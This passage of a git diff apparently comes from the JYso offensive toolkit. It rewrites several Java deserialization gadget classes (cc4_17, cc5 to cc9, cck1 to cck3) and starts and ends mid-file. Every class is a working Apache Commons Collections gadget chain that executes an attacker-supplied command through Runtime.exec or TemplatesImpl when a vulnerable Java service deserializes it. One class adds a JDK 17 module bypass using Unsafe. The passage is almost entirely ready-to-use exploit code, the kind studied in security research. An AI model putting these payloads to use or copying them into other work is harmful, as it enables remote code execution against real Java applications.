TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java index 30f22d9..8db9116 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -1,49 +1,49 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import org.apache.commons.collections4.Transformer; -import org.apache.commons.collections4.comparators.TransformingComparator; -import org.apache.commons.collections4.functors.*; - -import javax.xml.transform.Templates; -import java.lang.reflect.Field; -import java.util.PriorityQueue; - -import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; - - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Authors({Authors.JIECUB3}) -public class cc4_17 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - - Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); - patchModule(cc4_17.class, aClass); - - Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); - InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); - ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); - - InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "javax.xml"}); - InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}); - InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}); - TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); - ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); - InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}); - ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe")); - Transformer[] transformers = new Transformer[]{constantTransformer, invokerTransformer, ClosureTransformer, invokerTransformer3, invokerTransformer4, constantTransformer2, invokerTransformer5}; - Transformer keyTransformer = new ChainedTransformer(transformers); - - TransformingComparator transformingComparator = new TransformingComparator(keyTransformer); - PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); - patchModule(cc4_17.class, priorityQueue.getClass()); - Field size = priorityQueue.getClass().getDeclaredField("size"); - size.setAccessible(true); - size.setInt(priorityQueue, 2); - - return priorityQueue; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.*; + +import javax.xml.transform.Templates; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; + + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Authors({Authors.JIECUB3}) +public class cc4_17 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + patchModule(cc4_17.class, aClass); + + Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); + InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); + ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); + + InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "javax.xml"}); + InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}); + InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}); + TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); + ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); + InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}); + ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe")); + Transformer[] transformers = new Transformer[]{constantTransformer, invokerTransformer, ClosureTransformer, invokerTransformer3, invokerTransformer4, constantTransformer2, invokerTransformer5}; + Transformer keyTransformer = new ChainedTransformer(transformers); + + TransformingComparator transformingComparator = new TransformingComparator(keyTransformer); + PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); + patchModule(cc4_17.class, priorityQueue.getClass()); + Field size = priorityQueue.getClass().getDeclaredField("size"); + size.setAccessible(true); + size.setInt(priorityQueue, 2); + + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc5.java b/src/main/java/com/qi4l/JYso/gadgets/cc5.java index fa80a0c..7fcd667 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc5.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc5.java @@ -1,65 +1,65 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.JavaVersion; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import javax.management.BadAttributeValueExpException; -import java.util.HashMap; -import java.util.Map; - -/** - * Gadget chain: - * ObjectInputStream.readObject() - * BadAttributeValueExpException.readObject() - * TiedMapEntry.toString() - * LazyMap.get() - * ChainedTransformer.transform() - * ConstantTransformer.transform() - * InvokerTransformer.transform() - * Method.invoke() - * Class.getMethod() - * InvokerTransformer.transform() - * Method.invoke() - * Runtime.getRuntime() - * InvokerTransformer.transform() - * Method.invoke() - * Runtime.exec() - *

- * Requires: - * commons-collections - */ - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) -public class cc5 implements ObjectPayload { - - public static boolean isApplicableJavaVersion() { - return JavaVersion.isBadAttrValExcReadObj(); - } - - public BadAttributeValueExpException getObject(String command) throws Exception { - - // inert chain for setup - final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{new ConstantTransformer(1)}); - // real chain for after setup - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Reflections.setFieldValue(val, "val", entry); - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain - - return val; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * BadAttributeValueExpException.readObject() + * TiedMapEntry.toString() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) +public class cc5 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public BadAttributeValueExpException getObject(String command) throws Exception { + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc6.java b/src/main/java/com/qi4l/JYso/gadgets/cc6.java index 2bade98..f328651 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc6.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc6.java @@ -1,49 +1,49 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.io.Serializable; -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; - - -/** - * Gadget chain: - * java.io.ObjectInputStream.readObject() - * java.util.HashSet.readObject() - * java.util.HashMap.put() - * java.util.HashMap.hash() - * org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() - * org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() - * org.apache.commons.collections.map.LazyMap.get() - * org.apache.commons.collections.functors.ChainedTransformer.transform() - * org.apache.commons.collections.functors.InvokerTransformer.transform() - * java.lang.reflect.Method.invoke() - * java.lang.Runtime.exec() - *

- * by @matthias_kaiser - */ -@SuppressWarnings({"rawtypes","unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.MATTHIASKAISER}) -public class cc6 implements ObjectPayload { - public Serializable getObject(String command) throws Exception { - - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - Transformer transformerChain = new ChainedTransformer(transformers); - - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); - return getSerializableCC6(entry); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6; + + +/** + * Gadget chain: + * java.io.ObjectInputStream.readObject() + * java.util.HashSet.readObject() + * java.util.HashMap.put() + * java.util.HashMap.hash() + * org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + * org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + * org.apache.commons.collections.map.LazyMap.get() + * org.apache.commons.collections.functors.ChainedTransformer.transform() + * org.apache.commons.collections.functors.InvokerTransformer.transform() + * java.lang.reflect.Method.invoke() + * java.lang.Runtime.exec() + *

+ * by @matthias_kaiser + */ +@SuppressWarnings({"rawtypes","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class cc6 implements ObjectPayload { + public Serializable getObject(String command) throws Exception { + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + return getSerializableCC6(entry); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc7.java b/src/main/java/com/qi4l/JYso/gadgets/cc7.java index bcdddd9..0f34b30 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc7.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc7.java @@ -1,51 +1,51 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Map; - -/** - * CC6的简化写法 - */ -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) -public class cc7 implements ObjectPayload { - - public Hashtable getObject(String command) throws Exception { - - final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); - - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - Map innerMap1 = new HashMap(); - Map innerMap2 = new HashMap(); - - // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject - Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); - lazyMap1.put("yy", 1); - - Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); - lazyMap2.put("zZ", 1); - - // Use the colliding Maps as keys in Hashtable - Hashtable hashtable = new Hashtable(); - hashtable.put(lazyMap1, 1); - hashtable.put(lazyMap2, 2); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - - // Needed to ensure hash collision after previous manipulations - lazyMap2.remove("yy"); - - return hashtable; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +/** + * CC6的简化写法 + */ +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) +public class cc7 implements ObjectPayload { + + public Hashtable getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc8.java b/src/main/java/com/qi4l/JYso/gadgets/cc8.java index 3fbd4c7..ba376dd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc8.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc8.java @@ -1,27 +1,27 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections4.bag.TreeBag; -import org.apache.commons.collections4.comparators.TransformingComparator; -import org.apache.commons.collections4.functors.InvokerTransformer; - - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.apache.commons:commons-collections4:4.0"}) -@Authors({"navalorenzo"}) -public class cc8 implements ObjectPayload { - - public TreeBag getObject(String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator(transformer); - TreeBag tree = new TreeBag(comp); - tree.add(templates); - Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); - return tree; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({"navalorenzo"}) +public class cc8 implements ObjectPayload { + + public TreeBag getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator(transformer); + TreeBag tree = new TreeBag(comp); + tree.add(templates); + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + return tree; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc9.java b/src/main/java/com/qi4l/JYso/gadgets/cc9.java index 101f5fc..c7b3e38 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc9.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc9.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.DefaultedMap; - -import javax.management.BadAttributeValueExpException; -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unused"}) -@Dependencies({"commons-collections:commons-collections:3.2.1"}) -@Authors({"梅子酒"}) - -public class cc9 implements ObjectPayload { - - public BadAttributeValueExpException getObject(String command) throws Exception { - - ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); - Transformer[] transformers = TransformerUtil.makeTransformer(command); - Map innerMap = new HashMap<>(); - Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer); - TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Reflections.setFieldValue(val, "val", entry); - Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); - return val; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({"梅子酒"}) + +public class cc9 implements ObjectPayload { + + public BadAttributeValueExpException getObject(String command) throws Exception { + + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map innerMap = new HashMap<>(); + Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); + return val; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck1.java b/src/main/java/com/qi4l/JYso/gadgets/cck1.java index cfb7962..5f0350b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck1.java @@ -1,45 +1,45 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - - -/** - * Gadget chain: - * HashMap - * TiedMapEntry.hashCode - * TiedMapEntry.getValue - * LazyMap.decorate - * InvokerTransformer - * templates... - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -public class cck1 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap<>(); - Map m = LazyMap.decorate(innerMap, transformer); - Map outerMap = new HashMap(); - TiedMapEntry tied = new TiedMapEntry(m, templates); - outerMap.put(tied, "t"); - // clear the inner map data, this is important - innerMap.clear(); - - Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); - - return outerMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * Gadget chain: + * HashMap + * TiedMapEntry.hashCode + * TiedMapEntry.getValue + * LazyMap.decorate + * InvokerTransformer + * templates... + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class cck1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap<>(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck2.java b/src/main/java/com/qi4l/JYso/gadgets/cck2.java index 2b2a318..176fcce 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck2.java @@ -1,39 +1,39 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.collections4.functors.InvokerTransformer; -import org.apache.commons.collections4.keyvalue.TiedMapEntry; -import org.apache.commons.collections4.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:4.0"}) -public class cck2 implements ReleaseableObjectPayload { - - public Object getObject(String command) throws Exception { - final Object templates; - - templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap<>(); - Map m = LazyMap.lazyMap(innerMap, transformer); - Map outerMap = new HashMap(); - TiedMapEntry tied = new TiedMapEntry(m, templates); - outerMap.put(tied, "t"); - // clear the inner map data, this is important - innerMap.clear(); - - Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); - - return outerMap; - } - - @Override - public void release(Object obj) throws Exception { - - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class cck2 implements ReleaseableObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap<>(); + Map m = LazyMap.lazyMap(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } + + @Override + public void release(Object obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck3.java b/src/main/java/com/qi4l/JYso/gadgets/cck3.java index 11d030a..4540769 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck3.java @@ -1,35 +1,35 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.MATTHIASKAISER}) -public class cck3 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; - Transformer[] transformers = TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(fakeTransformers); - Map innerMap = new HashMap(); - Map outerMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); - expMap.put(tme, "QI5L"); - outerMap.remove("QI4L"); - - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - return expMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class cck3 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + outerMap.remove("QI4L"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck4.java b/src/main/java/com/qi4l/JYso/gadgets/cck4.java 